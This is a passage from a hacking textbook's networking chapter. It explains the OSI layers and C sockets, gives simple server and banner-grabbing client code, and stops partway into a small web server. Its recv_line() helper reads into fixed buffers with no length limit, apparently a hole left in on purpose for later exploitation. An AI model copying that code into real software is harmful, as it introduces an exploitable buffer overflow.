NETWORKING - Hacking: The Art of Exploitation (2008)

Hacking: The Art of Exploitation (2008)

Chapter 0x400. NETWORKING

Communication and language have greatly enhanced the abilities of the human race. By using a common language, humans are able to transfer knowledge, coordinate actions, and share experiences. Similarly, programs can become much more powerful when they have the ability to communicate with other programs via a network. The real utility of a web browser isn't in the program itself, but in its ability to communicate with webservers.

Networking is so prevalent that it is sometimes taken for granted. Many applications such as email, the Web, and instant messaging rely on networking. Each of these applications relies on a particular network protocol, but each protocol uses the same general network transport methods.

Many people don't realize that there are vulnerabilities in the networking protocols themselves. In this chapter you will learn how to network your applications using sockets and how to deal with common network vulnerabilities.

OSI Model

When two computers talk to each other, they need to speak the same language. The structure of this language is described in layers by the OSI model. The OSI model provides standards that allow hardware, such as routers and firewalls, to focus on one particular aspect of communication that applies to them and ignore others. The OSI model is broken down into conceptual layers of communication. This way, routing and firewall hardware can focus on passing data at the lower layers, ignoring the higher layers of data encapsulation used by running applications. The seven OSI layers are as follows:

Physical layer This layer deals with the physical connection between two points. This is the lowest layer, whose primary role is communicating raw bit streams. This layer is also responsible for activating, maintaining, and deactivating these bit-stream communications.

Data-link layer This layer deals with actually transferring data between two points. In contrast with the physical layer, which takes care of sending the raw bits, this layer provides high-level functions, such as error correction and flow control. This layer also provides procedures for activating, maintaining, and deactivating data-link connections.

Network layer This layer works as a middle ground; its primary role is to pass information between the lower and the higher layers. It provides addressing and routing.

Transport layer This layer provides transparent transfer of data between systems. By providing reliable data communication, this layer allows the higher layers to never worry about reliability or cost-effectiveness of data transmission.

Session layer This layer is responsible for establishing and maintaining connections between network applications.

Presentation layer This layer is responsible for presenting the data to applications in a syntax or language they understand. This allows for things like encryption and data compression.

Application layer This layer is concerned with keeping track of the requirements of the application.

When data is communicated through these protocol layers, it's sent in small pieces called packets. Each packet contains implementations of these protocol layers. Starting from the application layer, the packet wraps the pre-sentation layer around that data, which wraps the session layer, which wraps the transport layer, and so forth. This process is called encapsulation. Each wrapped layer contains a header and a body. The header contains the protocol information needed for that layer, while the body contains the data for that layer. The body of one layer contains the entire package of previously encapsulated layers, like the skin of an onion or the functional contexts found on a program's stack.

For example, whenever you browse the Web, the Ethernet cable and card make up the physical layer, taking care of the transmission of raw bits from one end of the cable to the other. The next later is the data link layer. In the web browser example, Ethernet makes up this layer, which provides the low-level communications between Ethernet ports on the LAN. This protocol allows for communication between Ethernet ports, but these ports don't yet have IP addresses. The concept of IP addresses doesn't exist until the next layer, the network layer. In addition to addressing, this layer is responsible for moving data from one address to another. These three lower layers together are able to send packets of data from one IP address to another. The next layer is the transport layer, which for web traffic is TCP; it provides a seamless bidirectional socket connection. The term TCP/IPdescribes the use of TCP on the transport layer and IP on the network layer. Other addressing schemes exist at this layer; however, your web traffic probably uses IP version 4 (IPv4). IPv4 addresses follow a familiar form of XX.XX.XX.XX.. IP version 6 (IPv6) also exists on this layer, with a totally different addressing scheme. Since IPv4 is most common, IP will always refer to IPv4 in this book.

The web traffic itself uses HTTP (Hypertext Transfer Protocol) to communicate, which is in the top layer of the OSI model. When you browse the Web, the web browser on your network is communicating across the Internet with the webserver located on a different private network. When this happens, the data packets are encapsulated down to the physical layer where they are passed to a router. Since the router isn't concerned with what's actually in the packets, it only needs to implement protocols up to the network layer. The router sends the packets out to the Internet, where they reach the other network's router. This router then encapsulates this packet with the lowerlayer protocol headers needed for the packet to reach its final destination. This process is shown in the following illustration.

Figure 0x400-1.

All of this packet encapsulation makes up a complex language that hosts on the Internet (and other types of networks) use to communicate with each other. These protocols are programmed into routers, firewalls, and your computer's operating system so they can communicate. Programs that use networking, such as web browsers and email clients, need to interface with the operating system which handles the network communications. Since the operating system takes care of the details of network encapsulation, writing network programs is just a matter of using the network interface of the OS.

Sockets

A socket is a standard way to perform network communication through the OS. A socket can be thought of as an endpoint to a connection, like a socket on an operator's switchboard. But these sockets are just a programmer's abstraction that takes care of all the nitty-gritty details of the OSI model described above. To the programmer, a socket can be used to send or receive data over a network. This data is transmitted at the session layer (5), above the lower layers (handled by the operating system), which take care of routing. There are several different types of sockets that determine the structure of the transport layer (4). The most common types are stream sockets and datagram sockets.

Stream sockets provide reliable two-way communication similar to when you call someone on the phone. One side initiates the connection to the other, and after the connection is established, either side can communicate to the other. In addition, there is immediate confirmation that what you said actually reached its destination. Stream sockets use a standard communication protocol called Transmission Control Protocol (TCP), which exists on the transport layer (4) of the OSI model. On computer networks, data is usually transmitted in chunks called packets. TCP is designed so that the packets of data will arrive without errors and in sequence, like words arriving at the other end in the order they were spoken when you are talking on the telephone. Webservers, mail servers, and their respective client applications all use TCP and stream sockets to communicate.

Another common type of socket is a datagram socket. Communicating with a datagram socket is more like mailing a letter than making a phone call. The connection is one-way only and unreliable. If you mail several letters, you can't be sure that they arrived in the same order, or even that they reached their destination at all. The postal service is pretty reliable; the Internet, however, is not. Datagram sockets use another standard protocol called UDP instead of TCP on the transport layer (4). UDP stands for User Datagram Protocol, implying that it can be used to create custom protocols. This protocol is very basic and lightweight, with few safeguards built into it. It's not a real connection, just a basic method for sending data from one point to another. With datagram sockets, there is very little overhead in the protocol, but the protocol doesn't do much. If your program needs to confirm that a packet was received by the other side, the other side must be coded to send back an acknowledgment packet. In some cases packet loss is acceptable.

Datagram sockets and UDP are commonly used in networked games and streaming media, since developers can tailor their communications exactly as needed without the built-in overhead of TCP.

Socket Functions

In C, sockets behave a lot like files since they use file descriptors to identify themselves. Sockets behave so much like files that you can actually use the read() and write() functions to receive and send data using socket file descriptors. However, there are several functions specifically designed for dealing with sockets. These functions have their prototypes defined in /usr/include/sys/sockets.h.

socket(int domain, int type, int protocol)

Used to create a new socket, returns a file descriptor for the socket or -1 on error.

connect(int fd, struct sockaddr *remote_host, socklen_t addr_length)

Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1 on error.

bind(int fd, struct sockaddr *local_addr, socklen_t addr_length)

Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success and -1 on error.

listen(int fd, int backlog_queue_size)

Listens for incoming connections and queues connection requests up to backlog_queue_size. Returns 0 on success and -1 on error.

accept(int fd, sockaddr *remote_host, socklen_t *addr_length)

Accepts an incoming connection on a bound socket. The address information from the remote host is written into the remote_host structure and the actual size of the address structure is written into *addr_length. This function returns a new socket file descriptor to identify the connected socket or -1 on error.

send(int fd, void *buffer, size_t n, int flags)

Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error.

recv(int fd, void *buffer, size_t n, int flags)

Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error.

When a socket is created with the socket() function, the domain, type, and protocol of the socket must be specified. The domain refers to the protocol family of the socket. A socket can be used to communicate using a variety of protocols, from the standard Internet protocol used when you browse the Web to amateur radio protocols such as AX.25 (when you are being a gigantic nerd). These protocol families are defined in bits/socket.h, which is automatically included from sys/socket.h.

From /usr/include/bits/socket.h

/* Protocol families. */

#define PF_UNSPEC 0 /* Unspecified. */

#define PF_LOCAL 1 /* Local to host (pipes and file-domain). */

#define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL. */

#define PF_FILE PF_LOCAL /* Another nonstandard name for PF_LOCAL. */

#define PF_INET 2 /* IP protocol family. */

#define PF_AX25 3 /* Amateur Radio AX.25. */

#define PF_IPX 4 /* Novell Internet Protocol. */

#define PF_APPLETALK 5 /* Appletalk DDP. */

#define PF_NETROM 6 /* Amateur radio NetROM. */

#define PF_BRIDGE 7 /* Multiprotocol bridge. */

#define PF_ATMPVC 8 /* ATM PVCs. */

#define PF_X25 9 /* Reserved for X.25 project. */

#define PF_INET6 10 /* IP version 6. */

...

As mentioned before, there are several types of sockets, although stream sockets and datagram sockets are the most commonly used. The types of sockets are also defined in bits/socket.h. (The /* comments */ in the code above are just another style that comments out everything between the asterisks.)

From /usr/include/bits/socket.h

/* Types of sockets. */

enum __socket_type

{

SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */

#define SOCK_STREAM SOCK_STREAM

SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed maximum length. */

#define SOCK_DGRAM SOCK_DGRAM

...

The final argument for the socket() function is the protocol, which should almost always be 0. The specification allows for multiple protocols within a protocol family, so this argument is used to select one of the protocols from the family. In practice, however, most protocol families only have one protocol, which means this should usually be set for 0; the first and only protocol in the enumeration of the family. This is the case for everything we will do with sockets in this book, so this argument will always be 0 in our examples.

Socket Addresses

Many of the socket functions reference a sockaddr structure to pass address information that defines a host. This structure is also defined in bits/socket.h, as shown on the following page.

From /usr/include/bits/socket.h

/* Get the definition of the macro to define the common sockaddr members. */

#include <bits/sockaddr.h>

/* Structure describing a generic socket address. */

struct sockaddr

{

__SOCKADDR_COMMON (sa_); /* Common data: address family and length. */

char sa_data[14]; /* Address data. */

};

The macro for SOCKADDR_COMMON is defined in the included bits/sockaddr.h file, which basically translates to an unsigned short int. This value defines the address family of the address, and the rest of the structure is saved for address data. Since sockets can communicate using a variety of protocol families, each with their own way of defining endpoint addresses, the definition of an address must also be variable, depending on the address family. The possible address families are also defined in bits/socket.h; they usually translate directly to the corresponding protocol families.

From /usr/include/bits/socket.h

/* Address families. */

#define AF_UNSPEC PF_UNSPEC

#define AF_LOCAL PF_LOCAL

#define AF_UNIX PF_UNIX

#define AF_FILE PF_FILE

#define AF_INET PF_INET

#define AF_AX25 PF_AX25

#define AF_IPX PF_IPX

#define AF_APPLETALK PF_APPLETALK

#define AF_NETROM PF_NETROM

#define AF_BRIDGE PF_BRIDGE

#define AF_ATMPVC PF_ATMPVC

#define AF_X25 PF_X25

#define AF_INET6 PF_INET6

...

Since an address can contain different types of information, depending on the address family, there are several other address structures that contain, in the address data section, common elements from the sockaddr structure as well as information specific to the address family. These structures are also the same size, so they can be typecast to and from each other. This means that a socket() function will simply accept a pointer to a sockaddr structure, which can in fact point to an address structure for IPv4, IPv6, or X.25. This allows the socket functions to operate on a variety of protocols.

In this book we are going to deal with Internet Protocol version 4, which is the protocol family PF_INET, using the address family AF_INET. The parallel socket address structure for AF_INET is defined in the netinet/in.h file.

From /usr/include/netinet/in.h

/* Structure describing an Internet socket address. */

struct sockaddr_in

{

__SOCKADDR_COMMON (sin_);

in_port_t sin_port; /* Port number. */

struct in_addr sin_addr; /* Internet address. */

/* Pad to size of 'struct sockaddr'. */

unsigned char sin_zero[sizeof (struct sockaddr) -

__SOCKADDR_COMMON_SIZE -

sizeof (in_port_t) -

sizeof (struct in_addr)];

};

The SOCKADDR_COMMON part at the top of the structure is simply the unsigned short int mentioned above, which is used to define the address family. Since a socket endpoint address consists of an Internet address and a port number, these are the next two values in the structure. The port number is a 16-bit short, while the in_addr structure used for the Internet address contains a 32-bit number. The rest of the structure is just 8 bytes of padding to fill out the rest of the sockaddr structure. This space isn't used for anything, but must be saved so the structures can be interchangeably typecast. In the end, the socket address structures end up looking like this:

Figure 0x400-2.

Network Byte Order

The port number and IP address used in the AF_INET socket address structure are expected to follow the network byte ordering, which is big-endian. This is the opposite of x86's little-endian byte ordering, so these values must be converted. There are several functions specifically for these conversions, whose prototypes are defined in the netinet/in.h and arpa/inet.h include files. Here is a summary of these common byte order conversion functions:

htonl(long value) Host-to-Network Long

Converts a 32-bit integer from the host's byte order to network byte order

htons(short value) Host-to-Network Short

Converts a 16-bit integer from the host's byte order to network byte order

ntohl(long value) Network-to-Host Long

Converts a 32-bit integer from network byte order to the host's byte order

ntohs(long value) Network-to-Host Short

Converts a 16-bit integer from network byte order to the host's byte order

For compatibility with all architectures, these conversion functions should still be used even if the host is using a processor with big-endian byte ordering.

Internet Address Conversion

When you see 12.110.110.204, you probably recognize this as an Internet address (IP version 4). This familiar dotted-number notation is a common way to specify Internet addresses, and there are functions to convert this notation to and from a 32-bit integer in network byte order. These functions are defined in the arpa/inet.h include file, and the two most useful conversion functions are:

inet_aton(char *ascii_addr, struct in_addr *network_addr)

ASCII to Network

This function converts an ASCII string containing an IP address in dottednumber format into an in_addr structure, which, as you remember, only contains a 32-bit integer representing the IP address in network byte order.

inet_ntoa(struct in_addr *network_addr)

Network to ASCII

This function converts the other way. It is passed a pointer to an in_addr structure containing an IP address, and the function returns a character pointer to an ASCII string containing the IP address in dotted-number format. This string is held in a statically allocated memory buffer in the function, so it can be accessed until the next call to inet_ntoa(), when the string will be overwritten.

A Simple Server Example

The best way to show how these functions are used is by example. The following server code listens for TCP connections on port 7890. When a client connects, it sends the message Hello, world! and then receives data until the connection is closed. This is done using socket functions and structures from the include files mentioned earlier, so these files are included at the beginning of the program. A useful memory dump function has been added to hacking.h, which is shown on the following page.

Added to hacking.h

// Dumps raw memory in hex byte and printable split format

void dump(const unsigned char *data_buffer, const unsigned int length) {

unsigned char byte;

unsigned int i, j;

for(i=0; i < length; i++) {

byte = data_buffer[i];

printf("%02x ", data_buffer[i]); // Display byte in hex.

if(((i%16)==15) || (i==length-1)) {

for(j=0; j < 15-(i%16); j++)

printf(" ");

printf("| ");

for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line.

byte = data_buffer[j];

if((byte > 31) && (byte < 127)) // Outside printable char range

printf("%c", byte);

else

printf(".");

}

printf("\n"); // End of the dump line (each line is 16 bytes)

} // End if

} // End for

}

This function is used to display packet data by the server program. However, since it is also useful in other places, it has been put into hacking.h, instead. The rest of the server program will be explained as you read the source code.

simple_server.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "hacking.h"

#define PORT 7890 // The port users will be connecting to

int main(void) {

int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd

struct sockaddr_in host_addr, client_addr; // My address information

socklen_t sin_size;

int recv_length=1, yes=1;

char buffer[1024];

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)

fatal("setting socket option SO_REUSEADDR");

So far, the program sets up a socket using the socket() function. We want a TCP/IP socket, so the protocol family is PF_INET for IPv4 and the socket type is SOCK_STREAM for a stream socket. The final protocol argument is 0, since there is only one protocol in the PF_INET protocol family. This function returns a socket file descriptor which is stored in sockfd.

The setsockopt() function is simply used to set socket options. This function call sets the SO_REUSEADDR socket option to true, which will allow it to reuse a given address for binding. Without this option set, when the program tries to bind to a given port, it will fail if that port is already in use. If a socket isn't closed properly, it may appear to be in use, so this option lets a socket bind to a port (and take over control of it), even if it seems to be in use.

The first argument to this function is the socket (referenced by a file descriptor), the second specifies the level of the option, and the third specifies the option itself. Since SO_REUSEADDR is a socket-level option, the level is set to SOL_SOCKET. There are many different socket options defined in /usr/include/ asm/socket.h. The final two arguments are a pointer to the data that the option should be set to and the length of that data. A pointer to data and the length of that data are two arguments that are often used with socket functions. This allows the functions to handle all sorts of data, from single bytes to large data structures. The SO_REUSEADDR options uses a 32-bit integer for its value, so to set this option to true, the final two arguments must be a pointer to the integer value of 1 and the size of an integer (which is 4 bytes).

host_addr.sin_family = AF_INET; // Host byte order

host_addr.sin_port = htons(PORT); // Short, network byte order

host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP.

memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)

fatal("binding to socket");

if (listen(sockfd, 5) == -1)

fatal("listening on socket");

These next few lines set up the host_addr structure for use in the bind call. The address family is AF_INET, since we are using IPv4 and the sockaddr_instructure. The port is set to PORT, which is defined as 7890. This short integer value must be converted into network byte order, so the htons() function is used. The address is set to 0, which means it will automatically be filled with the host's current IP address. Since the value 0 is the same regardless of byte order, no conversion is necessary.

The bind() call passes the socket file descriptor, the address structure, and the length of the address structure. This call will bind the socket to the current IP address on port 7890.

The listen() call tells the socket to listen for incoming connections, and a subsequent accept() call actually accepts an incoming connection. The listen() function places all incoming connections into a backlog queue until an accept() call accepts the connections. The last argument to the listen() call sets the maximum size for the backlog queue.

while(1) { // Accept loop.

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

if(new_sockfd == -1)

fatal("accepting connection");

printf("server: got connection from %s port %d\n",

inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

send(new_sockfd, "Hello, world!\n", 13, 0);

recv_length = recv(new_sockfd, &buffer, 1024, 0);

while(recv_length > 0) {

printf("RECV: %d bytes\n", recv_length);

dump(buffer, recv_length);

recv_length = recv(new_sockfd, &buffer, 1024, 0);

}

close(new_sockfd);

}

return 0;

}

Next is a loop that accepts incoming connections. The accept() function's first two arguments should make sense immediately; the final argument is a pointer to the size of the address structure. This is because the accept()function will write the connecting client's address information into the address structure and the size of that structure into sin_size. For our purposes, the size never changes, but to use the function we must obey the calling convention. The accept() function returns a new socket file descriptor for the accepted connection. This way, the original socket file descriptor can continue to be used for accepting new connections, while the new socket file descriptor is used for communicating with the connected client.

After getting a connection, the program prints out a connection message, using inet_ntoa() to convert the sin_addr address structure to a dotted-number IP string and ntohs() to convert the byte order of the sin_portnumber.

The send() function sends the 13 bytes of the string Hello, world!\n to the new socket that describes the new connection. The final argument for the send() and recv() functions are flags, that for our purposes, will always be 0.

Next is a loop that receives data from the connection and prints it out. The recv() function is given a pointer to a buffer and a maximum length to read from the socket. The function writes the data into the buffer passed to it and returns the number of bytes it actually wrote. The loop will continue as long as the recv() call continues to receive data.

When compiled and run, the program binds to port 7890 of the host and waits for incoming connections:

reader@hacking:~/booksrc $ gcc simple_server.c

reader@hacking:~/booksrc $ ./a.out

A telnet client basically works like a generic TCP connection client, so it can be used to connect to the simple server by specifying the target IP address and port.

From a Remote Machine

matrix@euclid:~ $ telnet 192.168.42.248 7890

Trying 192.168.42.248...

Connected to 192.168.42.248.

Escape character is '^]'.

Hello, world!

this is a test

fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf

Upon connection, the server sends the string Hello, world!, and the rest is the local character echo of me typing this is a test and a line of keyboard mashing. Since telnet is line-buffered, each of these two lines is sent back to the server when ENTER is pressed. Back on the server side, the output shows the connection and the packets of data that are sent back.

On a Local Machine

reader@hacking:~/booksrc $ ./a.out

server: got connection from 192.168.42.1 port 56971

RECV: 16 bytes

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test...

RECV: 45 bytes

66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk

6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh

66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a | fdkjhvbkjgf...

A Web Client Example

The telnet program works well as a client for our server, so there really isn't much reason to write a specialized client. However, there are thousands of different types of servers that accept standard TCP/IP connections. Every time you use a web browser, it makes a connection to a webserver somewhere. This connection transmits the web page over the connection using HTTP, which defines a certain way to request and send information. By default, webservers run on port 80, which is listed along with many other default ports in /etc/services.

From /etc/services

finger 79/tcp # Finger

finger 79/udp

http 80/tcp www www-http # World Wide Web HTTP

HTTP exists in the application layer—the top layer—of the OSI model. At this layer, all of the networking details have already been taken care of by the lower layers, so HTTP uses plaintext for its structure. Many other application layer protocols also use plaintext, such as POP3, SMTP, IMAP, and FTP's control channel. Since these are standard protocols, they are all well documented and easily researched. Once you know the syntax of these various protocols, you can manually talk to other programs that speak the same language. There's no need to be fluent, but knowing a few important phrases will help you when traveling to foreign servers. In the language of HTTP, requests are made using the command GET, followed by the resource path and the HTTP protocol version. For example, GET / HTTP/1.0 will request the root document from the webserver using HTTP version 1.0. The request is actually for the root directory of /, but most webservers will automatically search for a default HTML document in that directory of index.html. If the server finds the resource, it will respond using HTTP by sending several headers before sending the content. If the command HEAD is used instead of GET, it will only return the HTTP headers without the content. These headers are plaintext and can usually provide information about the server. These headers can be retrieved manually using telnet by connecting to port 80 of a known website, then typing HEAD / HTTP/1.0 and pressing ENTER twice. In the output below, telnet is used to open a TCP-IP connection to the webserver at http://www.internic.net. Then the HTTP application layer is manually spoken to request the headers for the main index page.

reader@hacking:~/booksrc $ telnet www.internic.net 80

Trying 208.77.188.101...

Connected to www.internic.net.

Escape character is '^]'.

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Fri, 14 Sep 2007 05:34:14 GMT

Server: Apache/2.0.52 (CentOS)

Accept-Ranges: bytes

Content-Length: 6743

Connection: close

Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.

reader@hacking:~/booksrc $

This reveals that the webserver is Apache version 2.0.52 and even that the host runs CentOS. This can be useful for profiling, so let's write a program that automates this manual process.

The next few programs will be sending and receiving a lot of data. Since the standard socket functions aren't very friendly, let's write some functions to send and receive data. These functions, called send_string() and recv_line(), will be added to a new include file called hacking-network.h.

The normal send() function returns the number of bytes written, which isn't always equal to the number of bytes you tried to send. The send_string() function accepts a socket and a string pointer as arguments and makes sure the entire string is sent out over the socket. It uses strlen() to figure out the total length of the string passed to it.

You may have noticed that every packet the simple server received ended with the bytes 0x0D and 0x0A. This is how telnet terminates the lines—it sends a carriage return and a newline character. The HTTP protocol also expects lines to be terminated with these two bytes. A quick look at an ASCII table shows that 0x0D is a carriage return ('\r') and 0x0A is the newline character ('\n').

reader@hacking:~/booksrc $ man ascii | egrep "Hex|0A|0D"

Reformatting ascii(7), please wait...

Oct Dec Hex Char Oct Dec Hex Char

012 10 0A LF '\n' (new line) 112 74 4A J

015 13 0D CR '\r' (carriage ret) 115 77 4D M

reader@hacking:~/booksrc $

The recv_line() function reads entire lines of data. It reads from the socket passed as the first argument into the a buffer that the second argument points to. It continues receiving from the socket until it encounters the last two linetermination bytes in sequence. Then it terminates the string and exits the function. These new functions ensure that all bytes are sent and receive data as lines terminated by '\r\n'. They are listed below in a new include file called hacking-network.h.

hacking-network.h

/* This function accepts a socket FD and a ptr to the null terminated

* string to send. The function will make sure all the bytes of the

* string are sent. Returns 1 on success and 0 on failure.

*/

int send_string(int sockfd, unsigned char *buffer) {

int sent_bytes, bytes_to_send;

bytes_to_send = strlen(buffer);

while(bytes_to_send > 0) {

sent_bytes = send(sockfd, buffer, bytes_to_send, 0);

if(sent_bytes == -1)

return 0; // Return 0 on send error.

bytes_to_send -= sent_bytes;

buffer += sent_bytes;

}

return 1; // Return 1 on success.

}

/* This function accepts a socket FD and a ptr to a destination

* buffer. It will receive from the socket until the EOL byte

* sequence in seen. The EOL bytes are read from the socket, but

* the destination buffer is terminated before these bytes.

* Returns the size of the read line (without EOL bytes).

*/

int recv_line(int sockfd, unsigned char *dest_buffer) {

#define EOL "\r\n" // End-of-line byte sequence

#define EOL_SIZE 2

unsigned char *ptr;

int eol_matched = 0;

ptr = dest_buffer;

while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte.

if(*ptr == EOL[eol_matched]) { // Does this byte match terminator?

eol_matched++;

if(eol_matched == EOL_SIZE) { // If all bytes match terminator,

*(ptr+1-EOL_SIZE) = '\0'; // terminate the string.

return strlen(dest_buffer); // Return bytes received

}

} else {

eol_matched = 0;

}

ptr++; // Increment the pointer to the next byter.

}

return 0; // Didn't find the end-of-line characters.

}

Making a socket connection to a numerical IP address is pretty simple but named addresses are commonly used for convenience. In the manual HTTP HEAD request, the telnet program automatically does a DNS (Domain Name Service) lookup to determine that www.internic.net translates to the IP address 192.0.34.161. DNS is a protocol that allows an IP address to be looked up by a named address, similar to how a phone number can be looked up in a phone book if you know the name. Naturally, there are socket-related functions and structures specifically for hostname lookups via DNS. These functions and structures are defined in netdb.h. A function called gethostbyname()takes a pointer to a string containing a named address and returns a pointer to a hostentstructure, or NULL pointer on error. The hostent structure is filled with information from the lookup, including the numerical IP address as a 32-bit integer in network byte order. Similar to the inet_ntoa() function, the memory for this structure is statically allocated in the function. This structure is shown below, as listed in netdb.h.

From /usr/include/netdb.h

/* Description of database entry for a single host. */

struct hostent

{

char *h_name; /* Official name of host. */

char **h_aliases; /* Alias list. */

int h_addrtype; /* Host address type. */

int h_length; /* Length of address. */

char **h_addr_list; /* List of addresses from name server. */

#define h_addr h_addr_list[0] /* Address, for backward compatibility. */

};

The following code demonstrates the use of the gethostbyname() function.

host_lookup.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include "hacking.h"

int main(int argc, char *argv[]) {

struct hostent *host_info;

struct in_addr *address;

if(argc < 2) {

printf("Usage: %s <hostname>\n", argv[0]);

exit(1);

}

host_info = gethostbyname(argv[1]);

if(host_info == NULL) {

printf("Couldn't lookup %s\n", argv[1]);

} else {

address = (struct in_addr *) (host_info->h_addr);

printf("%s has address %s\n", argv[1], inet_ntoa(*address));

}

}

This program accepts a hostname as its only argument and prints out the IP address. The gethostbyname() function returns a pointer to a hostent structure, which contains the IP address in element h_addr. A pointer to this element is typecast into an in_addr pointer, which is later dereferenced for the call to inet_ntoa(), which expects a in_addr structure as its argument. Sample program output is shown on the following page.

reader@hacking:~/booksrc $ gcc -o host_lookup host_lookup.c

reader@hacking:~/booksrc $ ./host_lookup www.internic.net

www.internic.net has address 208.77.188.101

reader@hacking:~/booksrc $ ./host_lookup www.google.com

www.google.com has address 74.125.19.103

reader@hacking:~/booksrc $

Using socket functions to build on this, creating a webserver identification program isn't that difficult.

webserver_id.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include "hacking.h"

#include "hacking-network.h"

int main(int argc, char *argv[]) {

int sockfd;

struct hostent *host_info;

struct sockaddr_in target_addr;

unsigned char buffer[4096];

if(argc < 2) {

printf("Usage: %s <hostname>\n", argv[0]);

exit(1);

}

if((host_info = gethostbyname(argv[1])) == NULL)

fatal("looking up hostname");

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(80);

target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);

memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)

fatal("connecting to target server");

send_string(sockfd, "HEAD / HTTP/1.0\r\n\r\n");

while(recv_line(sockfd, buffer)) {

if(strncasecmp(buffer, "Server:", 7) == 0) {

printf("The web server for %s is %s\n", argv[1], buffer+8);

exit(0);

}

}

printf("Server line not found\n");

exit(1);

}

Most of this code should make sense to you now. The target_addr structure's sin_addr element is filled using the address from the host_info structure by typecasting and then dereferencing as before (but this time it's done in a single line). The connect() function is called to connect to port 80 of the target host, the command string is sent, and the program loops reading each line into buffer. The strncasecmp() function is a string comparison function from strings.h. This function compares the first n bytes of two strings, ignoring capitalization. The first two arguments are pointers to the strings, and the third argument is n, the number of bytes to compare. The function will return 0if the strings match, so the if statement is searching for the line that starts with "Server:". When it finds it, it removes the first eight bytes and prints the webserver version information. The following listing shows compilation and execution of the program.

reader@hacking:~/booksrc $ gcc -o webserver_id webserver_id.c

reader@hacking:~/booksrc $ ./webserver_id www.internic.net

The web server for www.internic.net is Apache/2.0.52 (CentOS)

reader@hacking:~/booksrc $ ./webserver_id www.microsoft.com

The web server for www.microsoft.com is Microsoft-IIS/7.0

reader@hacking:~/booksrc $

A Tinyweb Server

A webserver doesn't have to be much more complex than the simple server we created in the previous section. After accepting a TCP-IP connection, the webserver needs to implement further layers of communication using the HTTP protocol.

The server code listed below is nearly identical to the simple server, except that connection handling code is separated into its own function. This function handles HTTP GET and HEAD requests that would come from a web browser. The program will look for the requested resource in the local directory called webroot and send it to the browser. If the file can't be found, the server will respond with a 404 HTTP response. You may already be familiar with this response, which means File Not Found. The complete source code listing follows.

tinyweb.c

#include <stdio.h>

#include <fcntl.h>

#include <stdlib.h>

#include <string.h>

#include <sys/stat.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "hacking.h"

#include "hacking-network.h"

#define PORT 80 // The port users will be connecting to

#define WEBROOT "./webroot" // The web server's root directory

void handle_connection(int, struct sockaddr_in *); // Handle web requests

int get_file_size(int); // Returns the filesize of open file descriptor

int main(void) {

int sockfd, new_sockfd, yes=1;

struct sockaddr_in host_addr, client_addr; // My address information

socklen_t sin_size;

printf("Accepting web requests on port %d\n", PORT);

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)

fatal("setting socket option SO_REUSEADDR");

host_addr.sin_family = AF_INET; // Host byte order

host_addr.sin_port = htons(PORT); // Short, network byte order

host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.

memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)

fatal("binding to socket");

if (listen(sockfd, 20) == -1)

fatal("listening on socket");

while(1) { // Accept loop.

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

if(new_sockfd == -1)

fatal("accepting connection");

handle_connection(new_sockfd, &client_addr);

}

return 0;

}

/* This function handles the connection on the passed socket from the

* passed client address. The connection is processed as a web request,

* and this function replies over the connected socket. Finally, the

* passed socket is closed at the end of the function.

*/

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {

unsigned char *ptr, request[500], resource[500];

int fd, length;

length = recv_line(sockfd, request);

printf("Got request from %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),

ntohs(client_addr_ptr->sin_port), request);

ptr = strstr(request, " HTTP/"); // Search for valid-looking request.

if(ptr == NULL) { // Then this isn't valid HTTP.

